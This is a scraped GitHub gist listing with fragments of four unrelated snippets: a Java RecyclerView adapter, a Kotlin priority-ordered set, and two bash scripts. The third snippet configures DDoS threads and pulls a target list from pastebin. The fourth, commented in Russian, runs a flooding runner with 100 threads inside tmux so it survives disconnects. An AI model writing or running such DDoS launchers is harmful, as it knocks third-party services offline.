This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//T is a type of items | |
//when inheriting, just create constructor matching super, | |
//and override viewHolder() method that will return ViewHolder for given item type | |
public abstract class BaseRecyclerAdapter<T> extends RecyclerView.Adapter<BaseRecyclerAdapter.BaseViewHolder> { | |
public interface OnItemClickListener<T> { | |
void onClick(T item); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.util.* | |
import kotlin.NoSuchElementException | |
class PriorityOrderedSet<T> | |
private constructor(private val defaultPriority: Priority, | |
private val itemToNodeMap: MutableMap<T, Node<T>>) : | |
MutableSet<T> by itemToNodeMap.keys { | |
constructor(defaultPriority: Priority = Priority.Normal) : this(defaultPriority, mutableMapOf<T, Node<T>>()) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Configuration | |
export DDOS_THREADS=20 | |
export DDOS_TARGETS='https://pastebin.com/raw/uAimMkXv' | |
# Run under ubuntu user (default) | |
sudo -i -u ubuntu << EOF | |
# Update apt and install pip3 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Лончит тмукс со скриптом (по ссылке текстовый файл с таргетами через \n) | |
# и топом (диспетчер) | |
# Тмукс дает возможность скриту прододжать работать даже если отвалится ssh | |
# + к нему можно переатачится после реконнекта: | |
# находим id сессии: tmux ls | |
# атачимся: tmux attach-session -t $session_id | |
# шпаргалка по хоткеям: https://gist.github.com/MohamedAlaa/2961058 | |
tmux new-session 'python3 runner.py -t 100 --debug -c https://pastebin.com/raw/yBbeLVMS' \; split-window -v 'top' \; attach |